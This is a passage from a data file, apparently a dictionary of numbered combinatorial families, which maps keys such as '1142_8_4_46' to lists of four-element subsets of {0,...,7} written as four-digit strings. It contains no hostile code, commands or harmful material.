['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '1142_8_4_46' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1143_8_4_43' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','2347','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','2467','0567','1567','2567','3567','4567'] , '1144_8_4_46' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0356','1356','2356','0456','1456','2456','3456','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1145_8_4_30' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456'] , '1146_8_4_28' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456'] , '1147_8_4_30' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1148_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1149_8_4_49' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1150_8_4_49' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1151_8_4_49' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1152_8_4_49' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1153_8_4_48' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1154_8_4_48' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1155_8_4_48' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1156_8_4_45' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','2467','0567','1567','2567','3567','4567'] , '1157_8_4_47' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1158_8_4_44' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1159_8_4_31' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1160_8_4_31' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1161_8_4_31' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1162_8_4_29' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','0246','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456'] , '1163_8_4_51' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1164_8_4_51' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1165_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1166_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1167_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1168_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1169_8_4_50' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1170_8_4_52' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1171_8_4_49' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1172_8_4_46' : ['0234','1234','0245','1245','0345','1345','2345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1173_8_4_32' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1174_8_4_32' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1175_8_4_32' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1176_8_4_30' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1177_8_4_52' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1178_8_4_53' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1179_8_4_52' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1180_8_4_51' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1181_8_4_51' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1182_8_4_33' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1183_8_4_33' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','1256','0356','1356','2356','0456','1456','2456','3456'] , '1184_8_4_54' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1185_8_4_53' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1186_8_4_34' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1187_8_4_55' : ['0234','1234','0235','1235','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1188_8_4_35' : ['0123','0124','0134','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1189_8_4_28' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0137','0237','1237','0347','2347','0357','1357','3457','1367','2367','3467','3567'] , '1190_8_4_15' : ['0123','0134','1234','0135','1235','1345','0136','1236','1346','1356','0137','1237','1347','1357','1367'] , '1191_8_4_29' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','2347','0357','1357','3457','1367','2367','3467','3567'] , '1192_8_4_30' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456','0127','0237','0147','1247','0347','2347','0257','0457','2457','0267','0467','2467'] , '1193_8_4_28' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','0347','1347','2347','0357','1357','2357','0367','3467','3567'] , '1194_8_4_24' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0237','1237','0347','1347','2347','2357','3457','2367','3467'] , '1195_8_4_36' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456','0137','1237','1347','0157','1257','0357','2357','1457','3457','0167','1267','0367','2367','1467','3467','0567','2567','4567'] , '1196_8_4_40' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0137','0237','0347','1347','2347','0357','1357','2357','0167','0267','0367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1197_8_4_30' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','2347','0357','1357','3457','0367','1367','2367','3467','3567'] , '1198_8_4_30' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','2347','0357','1357','2357','3457','0367','1367','2367','3467'] , '1199_8_4_27' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0137','1237','1347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1200_8_4_39' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0137','1237','1347','0357','1357','2357','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1201_8_4_29' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','1237','1347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1202_8_4_25' : ['0123','0134','1234','0135','1235','1345','0136','1236','1346','1356','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1203_8_4_37' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','2357','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1204_8_4_36' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','2357','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1205_8_4_34' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','1236','1346','0156','1256','0356','1356','2356','1456','3456','0137','1237','1347','0157','1257','0357','1357','2357','1457','3457','1367','1567','3567'] , '1206_8_4_35' : ['0123','0134','1234','0135','1235','1345','0136','1236','1346','1356','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','1267','0367','1367','2367','1467','3467','1567','3567'] , '1207_8_4_44' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1208_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','2367','0467','2467','0567','1567','3567','4567'] , '1209_8_4_31' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1210_8_4_31' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','0367','1367','2367','3467','3567'] , '1211_8_4_31' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1212_8_4_43' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1213_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1214_8_4_42' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0137','0237','0347','1347','2347','0357','1357','2357','3457','0167','0267','0367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1215_8_4_46' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','2367','0467','2467','0567','1567','2567','3567','4567'] , '1216_8_4_44' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1217_8_4_46' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1218_8_4_47' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1219_8_4_30' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1220_8_4_30' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','2367','3467','3567'] , '1221_8_4_42' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1222_8_4_43' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1223_8_4_45' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1224_8_4_39' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1225_8_4_42' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0127','0137','1237','0147','1247','1347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1226_8_4_44' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1227_8_4_48' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1228_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1229_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1230_8_4_46' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1231_8_4_32' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1232_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','0467','1467','2467','0567','1567','2567'] , '1233_8_4_32' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','1367','2367','3467','3567'] , '1234_8_4_32' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','2367','3467','3567'] , '1235_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1236_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','2467','0567','1567','2567','3567','4567'] , '1237_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1238_8_4_46' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0467','1467','2467','0567','1567','2567','4567'] , '1239_8_4_51' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1240_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1241_8_4_47' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1242_8_4_47' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1243_8_4_45' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0467','1467','2467','2567','4567'] , '1244_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1245_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1246_8_4_44' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1247_8_4_51' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0467','1467','2467','0567','1567','2567','4567'] , '1248_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','2467','0567','1567','2567','3567','4567'] , '1249_8_4_46' : 